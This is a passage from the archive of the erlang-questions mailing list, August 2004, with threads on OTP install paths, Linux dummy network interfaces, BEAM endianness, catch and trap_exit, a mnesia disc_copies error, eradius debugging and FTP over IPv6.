to have this builtin.) > >Great. (I believe you have to "release" something before Sourceforge >offers it). Current archives of CVS projects tracked on Metafrog are also available. See the components section on http://metafrog.erlang-projects.org/ -- Micka?l R?mond http://www.erlang-projects.org/ From mickael.remond@REDACTED Wed Aug 18 17:37:00 2004 From: mickael.remond@REDACTED (Mickael Remond) Date: Wed, 18 Aug 2004 17:37 +0200 Subject: Does anyone have an archive of Spider In-Reply-To: <873AA6B8-F118-11D8-AA8F-000A95880924@t-mobile.co.uk> References: Message-ID: Message-ID: <1304-SnapperMsgFFCC63D8BD493212@10.164.119.56> ..... Original Message ....... On Wed, 18 Aug 2004 14:14:25 +0100 "Laurent Picouleau" wrote: >Hi, > >I'd like to get a copy of Spider > >but there's no URL given and I can't get it from Google neither. So If >one of you as kept an archive of it, let me know. Hello Laurent, nice to see you around :-) The developer of spiderl never published any code unfortunately. He is a member of Erlang-projects. I will contact him to ask if he mind publishing his code. I will keep you informed! -- Micka?l R?mond http://www.erlang-projects.org/ From ft@REDACTED Wed Aug 18 18:54:19 2004 From: ft@REDACTED (Fredrik Thulin) Date: Wed, 18 Aug 2004 18:54:19 +0200 Subject: where and what to install Message-ID: <200408181854.19521.ft@it.su.se> Hi Is there some kind of spoken or unspoken guidelines as to where to install files for your OTP application? I'm working on Yxa (a SIP server/stack) and we have just simplified installation by making the installation procedure generic (./configure && make && make install) using autoconf. My question is, where should we install our application as default? I looked at Yaws, which installs it's files in /usr/local/lib/yaws/ebin, and ejabberd which installs it's files in /var/lib/ejabberd/ebin. What should we install? The beam-files of course, but Yaws also seems to install it's .hrl files, and both Yaws and ejabberd installs their .app files. Thanks /Fredrik PS. I checked Yaws and eJabberd with 'make -n install', so I might have gotten some parts wrong about where they install stuff, and what... From vances@REDACTED Wed Aug 18 19:16:44 2004 From: vances@REDACTED (Vance Shipley) Date: Wed, 18 Aug 2004 13:16:44 -0400 Subject: where and what to install In-Reply-To: <200408181854.19521.ft@it.su.se> References: <200408181854.19521.ft@it.su.se> Message-ID: <20040818171644.GA91123@frogman.motivity.ca> On Wed, Aug 18, 2004 at 06:54:19PM +0200, Fredrik Thulin wrote: } } Is there some kind of spoken or unspoken guidelines as to where to } install files for your OTP application? I'm working on Yxa (a SIP } server/stack) and we have just simplified installation by making the } installation procedure generic (./configure && make && make install) } using autoconf. The Embedded Systems User's Guide recommends that a dedicated user named otpuser be created and that home directory used as the base path for the installation (i.e. /home/otpuser/lib/erlang). Here is a pointer to the Solaris version: http://www.erlang.org/doc/r9c/doc/embedded/embedded_solaris.html#1.3 -Vance From klacke@REDACTED Wed Aug 18 23:11:17 2004 From: klacke@REDACTED (klacke@REDACTED) Date: Wed, 18 Aug 2004 23:11:17 +0200 Subject: Clusters replying from same IP address without a NAT? In-Reply-To: References: Message-ID: <20040818211117.GB26854@hyber.org> On Wed, Aug 18, 2004 at 03:39:16PM +0200, Lennart ?hman wrote: > A slightly off the topic question... > > Anyone familiar with the possibility to have a second "hidden" > IP address associated with a physical network interface in > Solaris style UNICIES. Hidden in the sence that it does not > answer ARP questions, in order to not confuse routers since I > plan to have several such hidden interfaces on the same network > with the same IP address. The way to go about this in linux is to use a dummy interface, [root@REDACTED]~ > modprobe dummy [root@REDACTED]~ > ip addr add 1.2.3.4 dev dummy0 [root@REDACTED]~ > ip addr show 1: eth0: mtu 1500 qdisc \ pfifo_fast qlen 1000 link/ether 00:0a:e6:6c:f2:96 brd ff:ff:ff:ff:ff:ff inet 217.209.73.25/24 brd 217.209.73.255 scope global eth0 2: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo 3: eth1: mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:50:22:39:00:76 brd ff:ff:ff:ff:ff:ff inet 192.168.128.1/24 brd 192.168.128.255 scope global eth1 inet 192.168.128.2/24 brd 192.168.128.255 scope global secondary eth1:0 4: dummy0: mtu 1500 qdisc noop link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff inet 1.2.3.4/32 scope global dummy0 This way, packets destined to 1.2.3.4 which goes through this box, (somehow, either because the box is inline, or packets get REDIRECTED to it) will be terminated on the box and not routed further. Solaris, I know nothing about, but I bet it works pretty similar. /klacke -- Claes Wikstrom -- Caps lock is nowhere and http://www.hyber.org -- everything is under control From ulf.wiger@REDACTED Wed Aug 18 17:26:09 2004 From: ulf.wiger@REDACTED (Ulf Wiger (AL/EAB)) Date: Wed, 18 Aug 2004 17:26:09 +0200 Subject: Clusters replying from same IP address without a NAT? Message-ID: <37FB7AA6F5F9814FB634A7BF4C35A6F54027FD@ESEALNT442.al.sw.ericsson.se> Sounds like you should be able to do it with VLANs (Virtual LANs). Solaris, you say? The following section of the Solaris docs had a fairly good description of VLANs and how they are configured: http://docs.sun.com/db/doc/816-4554/6maoq01n2?q=VLAN &a=view For Linux, a good place to start looking might be http://www.linuxjournal.com/article.php?sid=7268 Regards, Uffe -----Original Message----- From: owner-erlang-questions@REDACTED [mailto:owner-erlang-questions@REDACTED]On Behalf Of Lennart ?hman Sent: den 18 augusti 2004 15:39 To: erlang-questions@REDACTED Subject: Clusters replying from same IP address without a NAT? A slightly off the topic question... Anyone familiar with the possibility to have a second "hidden" IP address associated with a physical network interface in Solaris style UNICIES. Hidden in the sence that it does not answer ARP questions, in order to not confuse routers since I plan to have several such hidden interfaces on the same network with the same IP address. What is my problem? I want to build a cluster of CPUs running Erlang. Every CPU has at least one own physical network connection with a "world-wide" known IP address. One CPU is leader and receives UDP packets. Other computers in the world knows the IP address of the leader. The leader load balances by relaying incoming messages using distributed Erlang. The CPU "who" gets the "job" eventually replies to the original client. The reply must look like it came from the IP address of the leader. I can not hide the cluster behind a NAT since the individual CPUs must be accessible too, by their own IP addresses. /Lennart ------------------------------------------------------------- Lennart Ohman phone : +46-8-587 623 27 Sj?land & Thyselius Telecom AB cellular: +46-70-552 6735 Sehlstedtsgatan 6 fax : +46-8-667 8230 SE-115 28 STOCKHOLM, SWEDEN email : lennart.ohman@REDACTED -------------- next part -------------- An HTML attachment was scrubbed... URL: From vances@REDACTED Thu Aug 19 00:51:13 2004 From: vances@REDACTED (Vance Shipley) Date: Wed, 18 Aug 2004 18:51:13 -0400 Subject: BEAM endianess? Message-ID: <20040818225112.GC91540@frogman.motivity.ca> Is a BEAM file big-endian or little-endian? -Vance From Thomas.Herchenroeder@REDACTED Thu Aug 19 09:18:01 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Thu, 19 Aug 2004 09:18:01 +0200 Subject: Problems receiving erlang-questions Message-ID: <0AE50E462665EB4898CACAC8DA1698224357A5@DAEMSG03.eur.ad.sag> I dont get all the postings from erlang-questions. Out of the 17 postings since the start of yesterday (18aug), I only received 6 (The Web archive is my reference). I've contacted owner-erlang-questions, but would like to know if anybody else on the list has similar problems. =Thomas From mbj@REDACTED Thu Aug 19 09:27:40 2004 From: mbj@REDACTED (Martin Bjorklund) Date: Thu, 19 Aug 2004 09:27:40 +0200 (CEST) Subject: Problems receiving erlang-questions In-Reply-To: <0AE50E462665EB4898CACAC8DA1698224357A5@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA1698224357A5@DAEMSG03.eur.ad.sag> Message-ID: <20040819.092740.39159372.mbj@bluetail.com> wrote: > I dont get all the postings from erlang-questions. Out of the 17 > postings since the start of yesterday (18aug), I only received 6 (The > Web archive is my reference). I've contacted owner-erlang-questions, but > would like to know if anybody else on the list has similar problems. Yes, same here. /martin From bjorn@REDACTED Thu Aug 19 10:11:58 2004 From: bjorn@REDACTED (Bjorn Gustavsson) Date: 19 Aug 2004 10:11:58 +0200 Subject: BEAM endianess? In-Reply-To: <20040818225112.GC91540@frogman.motivity.ca> References: <20040818225112.GC91540@frogman.motivity.ca> Message-ID: Vance Shipley writes: > Is a BEAM file big-endian or little-endian? > Numeric literals in Beam files are stored in big-endian order. In the process of loading Beam files, among a lot of other code rewriting, numeric literals are converted to the native endian of the CPU the Erlang machine is runing on. Integer literals that will not fit in a machine word are converted to a big number format. On a 32 bit CPU, signed integers up to 28 bits can fit in a word (the remaining 4 bits are used for the type tag). /Bjorn -- Bj?rn Gustavsson, Erlang/OTP, Ericsson AB From joe@REDACTED Thu Aug 19 10:45:55 2004 From: joe@REDACTED (Joe Armstrong) Date: Thu, 19 Aug 2004 10:45:55 +0200 (CEST) Subject: Missing messages Message-ID: Hello, On Tuesday I sent a message to this list - it vanished. I resent on Wednesday - it vanished. I checked my sendmail logs and confirm that the messages were delivered to erlang.org. What now - have you perchance a spam filter that removed my postings? Is anybody at erlang.org interested in my (edited) sendmail log? /Joe From vlad_dumitrescu@REDACTED Thu Aug 19 09:48:06 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Thu, 19 Aug 2004 09:48:06 +0200 Subject: Problems receiving erlang-questions References: <0AE50E462665EB4898CACAC8DA1698224357A5@DAEMSG03.eur.ad.sag> Message-ID: Yes, I have the same question. I thought it might have something to do with Hotmail, because I have another mailing list that doesn't get through, but if you're also affected, then there probably is something else. Strange that some of the postings make it through and some don't... /Vlad ----- Original Message ----- From: To: Sent: Thursday, August 19, 2004 9:18 AM Subject: Problems receiving erlang-questions > I dont get all the postings from erlang-questions. Out of the 17 > postings since the start of yesterday (18aug), I only received 6 (The > Web archive is my reference). I've contacted owner-erlang-questions, but > would like to know if anybody else on the list has similar problems. > > =Thomas > From erlang@REDACTED Thu Aug 19 16:31:33 2004 From: erlang@REDACTED (Inswitch Solutions - Erlang Evaluation) Date: Thu, 19 Aug 2004 11:31:33 -0300 Subject: Let it crash? Message-ID: <059d01c485f9$49c86fc0$1e00a8c0@design> Philosphy in Erlang is "Let it crash". Looking at the source code of Erlang OTP I have seen use of catch statements. My question is when should I use catch in my code or set trap_exit flag in true? thanks, Eduardo Figoli INSwitch Solutions -------------- next part -------------- An HTML attachment was scrubbed... URL: From vances@REDACTED Thu Aug 19 17:35:43 2004 From: vances@REDACTED (Vance Shipley) Date: Thu, 19 Aug 2004 11:35:43 -0400 Subject: Let it crash? In-Reply-To: <059d01c485f9$49c86fc0$1e00a8c0@design> References: <059d01c485f9$49c86fc0$1e00a8c0@design> Message-ID: <20040819153543.GD91540@frogman.motivity.ca> On Thu, Aug 19, 2004 at 11:31:33AM -0300, Eduardo Figoli wrote: } } My question is when should I use catch in my code or set trap_exit } flag in true? Here's an example from work I'm doing right now. I have an API module foo.erl and a server process implemented in foo_server.erl. In foo.erl there are no catches, it just crashes, the user's process will exit (unless she's running in a catch). In foo_server.erl when it parses external data it does so in a catch and handles errors by reporting and discarding. If it did otherwise the process would crash and although it would be restarted (through supervision) the state data would be lost causing problems for many other users. But even here foo_server.erl can still crash if a programatic error occurs. case decode(Value) of Rec when is_record(Rec, foo) -> ... {'EXIT', Reason} -> ... end We expect the decode function to either fail or return a valid #foo{}. If it does not it's a programming error. We can have bad data, because it didn't come from one of our own programs, it is external. We do expect our own program (decode/1) to behave as expected. if the data were originated in one of our programs we would expect it to be correct. The definitive text on this is Joe's thesis: http://www.sics.se/~joe/thesis/armstrong_thesis_2003.pdf As for trap_exit you should set it in gen_[fsm|server] code if you need to do cleanup before exiting. Without setting it your process will just end where it is. By setting it to true you will get a call to handle_info/3 with an event of {'EXIT', Reason}. Here you can clean up after by for instance removing entries in ets or writing out a log entry. -Vance From vances@REDACTED Thu Aug 19 17:51:48 2004 From: vances@REDACTED (Vance Shipley) Date: Thu, 19 Aug 2004 11:51:48 -0400 Subject: Let it crash? In-Reply-To: <20040819153543.GD91540@frogman.motivity.ca> References: <059d01c485f9$49c86fc0$1e00a8c0@design> <20040819153543.GD91540@frogman.motivity.ca> Message-ID: <20040819155148.GF91540@frogman.motivity.ca> On Thu, Aug 19, 2004 at 11:35:43AM -0400, Vance Shipley wrote: } } case decode(Value) of } Rec when is_record(Rec, foo) -> } ... err ... of course I meant: case catch decode(Value) of ^^^^^ -Vance From jamesh@REDACTED Thu Aug 19 20:15:02 2004 From: jamesh@REDACTED (James Hague) Date: Thu, 19 Aug 2004 13:15:02 -0500 Subject: Binary comprehensions Message-ID: Luke Gorrie wrote: >Speaking of comprehensions, does anyone else think that the >way multiple generators in a list comprehension works is weird? It's not "weird," per se, but it's an unusual default. I've found I often want to walk lists in parallel, but I have yet to make use to use the "all combinations" behavior in any code. It would be interesting to find production code that uses this behavior. Maybe it's uncommon? James P.S. I love the binary comprehensions idea, BTW. From cyberlync@REDACTED Thu Aug 19 22:16:24 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Thu, 19 Aug 2004 16:16:24 -0400 Subject: Problem creating mnesia table Message-ID: Guys, I am having a bit of a problem creating a disc_copies of a mnesia table. Every time I try to run the following I get back a {aborted,{bad_type,test,disc_copies,nonode@REDACTED}} However, according to every example I can find this is correct. Table_def = [{attributes, Field_list}, {disc_copies, [node()]}] mnesia:create_table(Name, Table_def) Any help would be appreciated. Thanks, Eric -- Any sufficiently complicated C or Fortran program contains an ad-hoc, informally-specified, bug-ridden, slow implementation of half of Lisp From jamesh@REDACTED Thu Aug 19 22:21:24 2004 From: jamesh@REDACTED (James Hague) Date: Thu, 19 Aug 2004 15:21:24 -0500 Subject: Binary comprehensions Message-ID: I wrote: >I have yet to make use to use the "all >combinations" behavior in any code Uh, that should be "I have yet to use the 'all combinations' behavior..." Ugh. From david.nospam.hopwood@REDACTED Thu Aug 19 23:27:36 2004 From: david.nospam.hopwood@REDACTED (David Hopwood) Date: Thu, 19 Aug 2004 22:27:36 +0100 Subject: Let it crash? In-Reply-To: <059d01c485f9$49c86fc0$1e00a8c0@design> References: <059d01c485f9$49c86fc0$1e00a8c0@design> Message-ID: <41251B48.1090203@blueyonder.co.uk> Inswitch Solutions - Erlang Evaluation wrote: > Philosphy in Erlang is "Let it crash". > Looking at the source code of Erlang OTP I have seen use of catch statements. > > My question is when should I use catch in my code or set trap_exit flag in true? Generally, you should catch when you can recover from an exception in a way that conforms to the original specification of the operation being performed. (This assumes another exception does not occur; if it can then make sure that can't lead to an infinite loop of catches.) -- David Hopwood From stephen@REDACTED Fri Aug 20 01:54:29 2004 From: stephen@REDACTED (Stephen Gibberd) Date: Fri, 20 Aug 2004 06:54:29 +0700 Subject: Eradius usage Message-ID: <200408200654.30314.stephen@telesurf.com.kh> Hello, I'm new to erlang and am trying to get eradius from jungerl working. I've tried the following: l(et), l(eradius), l(eradius_acc), l(eradius_dict), l(eradius_lib), l(eradius_server), l(eradius_server_example). mnesia:start(). eradius:start(). eradius:load_tables(["dictionary"]). eradius_server:create_tables([]). eradius_server:define_ras({192,168,79,99},1812,test,{eradius_server_example,test}). eradius_server:trace_on({192,168,79,99},1812). eradius_server:start_link({192,168,79,107},1812). I thought this would use the eradius_server_example:test function to authenticate any requests coming from 192.168.79.99 but when I test from 192.168.79.99 using this command there is no reply: radtest test test 192.168.79.107 1812 test I tried to trace the radius_server process and saw it calling eradius_server_example:test correctly (though the function didn't print anything as I thought it would): ...Many lines deleted.... <0.297.0>: call eradius_server_example:test({rad_pdu, 125, <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, {request, [{{attribute,5,integer,"NAS_Port"},1812}, {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, {{attribute,2,string,"User_Password"}, [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, {{attribute,1,string,"User_Name"},"test"}]}}, {nas_prop, {{192, 168, 79, 99}, 1812}, test, {eradius_server_example, test}, true}) <0.297.0>: call eradius_server:encode_reply({rad_accept, undefined, [], []}, {rad_pdu, 125, <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, {request, [{{attribute,5,integer,"NAS_Port"},1812}, {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, {{attribute,2,string,"User_Password"}, [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, {{attribute,1,string,"User_Name"},"test"}]}}, test) Eradius_server_example:test seems to return rad_accept as it should, but the eradius_server:encode_reply function seems to fail: .... many lines deleted ......... <0.297.0>: call erlang:md5([<<2,125,0,20>>, <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, [[],[]], test]) <0.297.0>: call proc_lib:exit_p({'EXIT', {badarg, [{erlang,md5, [[<<2,125,0,20>>, <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, [[],[]], test]]}, {eradius_lib,enc_reply_pdu,2}, {eradius_server,encode_reply,3}, {eradius_server,radius,4}, {proc_lib,init_p,5}]}}, {eradius_server, radius, [<0.99.0>, {udp,#Port<0.184>, {192,168,79,99}, 32781, <<1,125,0,56,201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96,1, 6,116,101,115,116,2,18,237,170,124,54,202,213,211,109,5,130,29,119,238,96 ,8,132,4,6,192,168,79,99,5,6,0,0,7,20>>}, 125, {nas_prop,{{192,168,79,99},1812},test,{eradius_server_example,test},true}]}) Any hints or suggestions as to where I'm going wrong? Thanks, Stephen From Manjeet.Singh.Sardar@REDACTED Fri Aug 20 09:05:56 2004 From: Manjeet.Singh.Sardar@REDACTED (Manjeet.Singh Sardar (AC/EDD)) Date: Fri, 20 Aug 2004 09:05:56 +0200 Subject: FTP with IPv6 Message-ID: Hi, Has anybody tried FTP module of erlang using IPV6 addresses? I am not able to get FTP working using IPV6 addresses.Currently i am using R9C version of Erlang. Thanks and Regards Manjeet From matthias@REDACTED Fri Aug 20 09:49:44 2004 From: matthias@REDACTED (Matthias Lang) Date: Fri, 20 Aug 2004 09:49:44 +0200 Subject: FTP with IPv6 In-Reply-To: References: Message-ID: <16677.44312.633855.268905@antilipe.corelatus.se> Manjeet.Singh Sardar (AC/EDD) writes: > Has anybody tried FTP module of erlang using IPV6 addresses? I > am not able to get FTP working using IPV6 addresses. Currently > i am using R9C version of Erlang. There are very few people with IPv6 experience on the list. The lack of answers to your repeated question suggests that nobody knows the answer to your question. Some suggestions: 1. If you have an Erlang licence, send your question to support@REDACTED, along with your licence number. As far as I know, all Ericsson users have a licence. 2. Solve the problem yourself. You can get full source from www.erlang.org, so it's just work... 3. Bribe someone else to solve the problem for you. Several of the ex-bluetail guys have worked with parts of the implementation. (no, I am not offering my services) Matthias From hakan@REDACTED Fri Aug 20 10:07:33 2004 From: hakan@REDACTED (Hakan Mattsson) Date: Fri, 20 Aug 2004 10:07:33 +0200 (CEST) Subject: Problem creating mnesia table In-Reply-To: Message-ID: On Thu, 19 Aug 2004, Eric Merritt wrote: EM> I am having a bit of a problem creating a disc_copies of a mnesia EM> table. Every time I try to run the following I get back a EM> {aborted,{bad_type,test,disc_copies,nonode@REDACTED}} EM> EM> However, according to every example I can find this is correct. EM> EM> Table_def = [{attributes, Field_list}, EM> {disc_copies, [node()]}] EM> EM> mnesia:create_table(Name, Table_def) Is your Mnesia configured to be disk resident? In order to be able to create disc_copies and disc_only_copies the schema must be stored on disk. New disk resident databases are created with mnesia:create_schema/1. Already existing databases are converted node by node with mnesia:change_table_copy_type/3: % erl Erlang (BEAM) emulator version 5.3 [source] [threads:0] Eshell V5.3 (abort with ^G) 1> mnesia:start(). ok 2> mnesia:create_table(foo,[{disc_copies, [node()]}]). {aborted,{bad_type,foo,disc_copies,nonode@REDACTED}} 3> mnesia:table_info(schema, storage_type). ram_copies 4> 4> mnesia:change_table_copy_type(schema, node(), disc_copies). {atomic,ok} 5> 5> mnesia:table_info(schema, storage_type). disc_copies 6> mnesia:create_table(foo,[{disc_copies, [node()]}]). {atomic,ok} /H?kan From chandrashekhar.mullaparthi@REDACTED Fri Aug 20 11:16:45 2004 From: chandrashekhar.mullaparthi@REDACTED (Chandrashekhar Mullaparthi) Date: Fri, 20 Aug 2004 10:16:45 +0100 Subject: Multiple connections between nodes Message-ID: Hi all, Partitioned networks in mnesia are a big headache when dealing with large databases. Has anyone thought about changing net_kernel so that it automatically sets up multiple connections to each node, using different interfaces?? I suppose the source and destination IP addresses to use could be configured in sys.config?? I suppose SCTP will provide this capability at the transport layer(and when we have erlang distribution implemented over it) but has anyone thought of this approach...it seemed easy enough to do after a quick look at net_kernel.erl - has anyone tried doing something like this? To keep things simple and predictable we can make sure that only one connection is ever used for communication and the next available connection is resorted to only when one fails. cheers Chandru From mlogan@REDACTED Fri Aug 20 16:51:55 2004 From: mlogan@REDACTED (Martin J. Logan) Date: 20 Aug 2004 09:51:55 -0500 Subject: Eradius usage In-Reply-To: <200408200654.30314.stephen@telesurf.com.kh> References: <200408200654.30314.stephen@telesurf.com.kh> Message-ID: <1093013515.15730.2.camel@dhcp-lom-194-186.futuresource.com> This is not an answer to your question, I have never used eradius, but simply an tip based on something I observed in your email. you do not have to type l() you can simply use erl -pz -pz etc... On Thu, 2004-08-19 at 18:54, Stephen Gibberd wrote: > Hello, > > I'm new to erlang and am trying to get eradius from jungerl working. > I've tried the following: > > l(et), l(eradius), l(eradius_acc), l(eradius_dict), l(eradius_lib), > l(eradius_server), l(eradius_server_example). > mnesia:start(). > eradius:start(). > eradius:load_tables(["dictionary"]). > eradius_server:create_tables([]). > eradius_server:define_ras({192,168,79,99},1812,test,{eradius_server_example,test}). > eradius_server:trace_on({192,168,79,99},1812). > eradius_server:start_link({192,168,79,107},1812). > > I thought this would use the eradius_server_example:test function to > authenticate any requests coming from 192.168.79.99 but when I test from > 192.168.79.99 using this command there is no reply: > > radtest test test 192.168.79.107 1812 test > > I tried to trace the radius_server process and saw it calling > eradius_server_example:test correctly (though the function didn't print > anything as I thought it would): > ...Many lines deleted.... > <0.297.0>: call eradius_server_example:test({rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, {request, > [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, {nas_prop, {{192, > 168, 79, 99}, 1812}, test, {eradius_server_example, test}, true}) > <0.297.0>: call eradius_server:encode_reply({rad_accept, > undefined, [], []}, {rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > {request, [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, test) > > Eradius_server_example:test seems to return rad_accept as it should, > but the eradius_server:encode_reply function seems to fail: > > .... many lines deleted ......... > <0.297.0>: call erlang:md5([<<2,125,0,20>>, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]) > <0.297.0>: call proc_lib:exit_p({'EXIT', {badarg, [{erlang,md5, > [[<<2,125,0,20>>, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]]}, > {eradius_lib,enc_reply_pdu,2}, > {eradius_server,encode_reply,3}, > {eradius_server,radius,4}, > {proc_lib,init_p,5}]}}, {eradius_server, radius, [<0.99.0>, > {udp,#Port<0.184>, > {192,168,79,99}, > 32781, > <<1,125,0,56,201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96,1, > 6,116,101,115,116,2,18,237,170,124,54,202,213,211,109,5,130,29,119,238,96 > ,8,132,4,6,192,168,79,99,5,6,0,0,7,20>>}, > 125, > {nas_prop,{{192,168,79,99},1812},test,{eradius_server_example,test},true}]}) > > Any hints or suggestions as to where I'm going wrong? > > Thanks, Stephen From sean.hinde@REDACTED Sat Aug 21 01:27:25 2004 From: sean.hinde@REDACTED (Sean Hinde) Date: Sat, 21 Aug 2004 00:27:25 +0100 Subject: Eradius usage In-Reply-To: <200408200654.30314.stephen@telesurf.com.kh> References: <200408200654.30314.stephen@telesurf.com.kh> Message-ID: <7E333026-F300-11D8-BDFF-000A95927CCE@mac.com> Hi, It appears from your trace that you have set the shared secret to an atom, which is why the md5 is failing. I suggest you retry with the shared secret as a list (string). Regs, Sean On 20 Aug 2004, at 00:54, Stephen Gibberd wrote: > Hello, > > I'm new to erlang and am trying to get eradius from jungerl working. > I've tried the following: > > l(et), l(eradius), l(eradius_acc), l(eradius_dict), l(eradius_lib), > l(eradius_server), l(eradius_server_example). > mnesia:start(). > eradius:start(). > eradius:load_tables(["dictionary"]). > eradius_server:create_tables([]). > eradius_server: > define_ras({192,168,79,99},1812,test,{eradius_server_example,test}). > eradius_server:trace_on({192,168,79,99},1812). > eradius_server:start_link({192,168,79,107},1812). > > I thought this would use the eradius_server_example:test function to > authenticate any requests coming from 192.168.79.99 but when I test > from > 192.168.79.99 using this command there is no reply: > > radtest test test 192.168.79.107 1812 test > > I tried to trace the radius_server process and saw it calling > eradius_server_example:test correctly (though the function didn't print > anything as I thought it would): > ...Many lines deleted.... > <0.297.0>: call eradius_server_example:test({rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > {request, > [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, {nas_prop, {{192, > 168, 79, 99}, 1812}, test, {eradius_server_example, test}, true}) > <0.297.0>: call eradius_server:encode_reply({rad_accept, > undefined, [], []}, {rad_pdu, 125, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > {request, [{{attribute,5,integer,"NAS_Port"},1812}, > {{attribute,4,ipaddr,"NAS_IP_Address"},{192,168,79,99}}, > {{attribute,2,string,"User_Password"}, > [237,170,124,54,202,213,211,109,5,130,29,119,238,96,8,132]}, > {{attribute,1,string,"User_Name"},"test"}]}}, test) > > Eradius_server_example:test seems to return rad_accept as it should, > but the eradius_server:encode_reply function seems to fail: > > .... many lines deleted ......... > <0.297.0>: call erlang:md5([<<2,125,0,20>>, > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]) > <0.297.0>: call proc_lib:exit_p({'EXIT', {badarg, [{erlang,md5, > [[<<2,125,0,20>>, > > <<201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96>>, > [[],[]], > test]]}, > {eradius_lib,enc_reply_pdu,2}, > {eradius_server,encode_reply,3}, > {eradius_server,radius,4}, > {proc_lib,init_p,5}]}}, {eradius_server, radius, [<0.99.0>, > {udp,#Port<0.184>, > {192,168,79,99}, > 32781, > > <<1,125,0,56,201,94,97,46,238,155,177,72,179,85,236,55,140,174,112,96,1 > , > > 6,116,101,115,116,2,18,237,170,124,54,202,213,211,109,5,130,29,119,238, > 96 > ,8,132,4,6,192,168,79,99,5,6,0,0,7,20>>}, > 125, > > {nas_prop,{{192,168,79,99},1812},test,{eradius_server_example,test},tru > e}]}) > > Any hints or suggestions as to where I'm going wrong? > > Thanks, Stephen From hal@REDACTED Sat Aug 21 15:21:40 2004 From: hal@REDACTED (Hal Snyder) Date: Sat, 21 Aug 2004 08:21:40 -0500 Subject: FTP with IPv6 In-Reply-To: <16677.44312.633855.268905@antilipe.corelatus.se> (Matthias Lang's message of "Fri, 20 Aug 2004 09:49:44 +0200") References: <16677.44312.633855.268905@antilipe.corelatus.se> Message-ID: <873c2gmxsr.fsf@ghidra.vail> Matthias Lang writes: > Manjeet.Singh Sardar (AC/EDD) writes: > > > Has anybody tried FTP module of erlang using IPV6 addresses? I > > am not able to get FTP working using IPV6 addresses. Currently > > i am using R9C version of Erlang. > > There are very few people with IPv6 experience on the list. The lack > of answers to your repeated question suggests that nobody knows the > answer to your question. Some suggestions: > > 1. If you have an Erlang licence, send your question to > support@REDACTED, along with your licence number. As far > as I know, all Ericsson users have a licence. > > 2. Solve the problem yourself. You can get full source from > www.erlang.org, so it's just work... > > 3. Bribe someone else to solve the problem for you. Several of > the ex-bluetail guys have worked with parts of the > implementation. (no, I am not offering my services) I am extremely interested in IPv6 but have been fully occupied with configuration management for several months. As soon as I have a minute or two, I'll see what I can find on our system. It's been over a year since our last experiments with IPv6 on OTP. If you don't keep testing software on IPv6, assumptions of IPv4 address syntax, etc. will creep back; it's like digging a hole in the sand. From erlang@REDACTED Sat Aug 21 19:24:29 2004 From: erlang@REDACTED (Inswitch Solutions - Erlang Evaluation) Date: Sat, 21 Aug 2004 14:24:29 -0300 Subject: Big modules vs small modules in Erts Message-ID: <083101c487a3$bb3eca90$1e00a8c0@design> I have a 3000 lines FSM module spawned by more than 200 processes. Apart from memory issues and talking about Erts performance, is a big module implementation (with one state data allocation) better than several smaller modules (with several state data allocations) for the same FSM? I mean: -module(fsm1) s1(Event, StateData) -> s2 s2(Event, StateData) -> ... 3000 lines vs. - module(fsm1) s1(Event, StateData) -> wait for fsm2:s2 ... 200 lines - module(fsm2) s2(Event, StateData) -> ... 200 lines ... thanks, Eduardo Figoli INSwitch Solution -------------- next part -------------- An HTML attachment was scrubbed... URL: From ft@REDACTED Sun Aug 22 19:41:15 2004 From: ft@REDACTED (Fredrik Thulin) Date: Sun, 22 Aug 2004 19:41:15 +0200 Subject: FTP with IPv6 In-Reply-To: <873c2gmxsr.fsf@ghidra.vail> References: <16677.44312.633855.268905@antilipe.corelatus.se> <873c2gmxsr.fsf@ghidra.vail> Message-ID: <200408221941.15765.ft@it.su.se> On Saturday 21 August 2004 15.21, Hal Snyder wrote: ... > I am extremely interested in IPv6 but have been fully occupied with > configuration management for several months. > > As soon as I have a minute or two, I'll see what I can find on our > system. It's been over a year since our last experiments with IPv6 on > OTP. If you don't keep testing 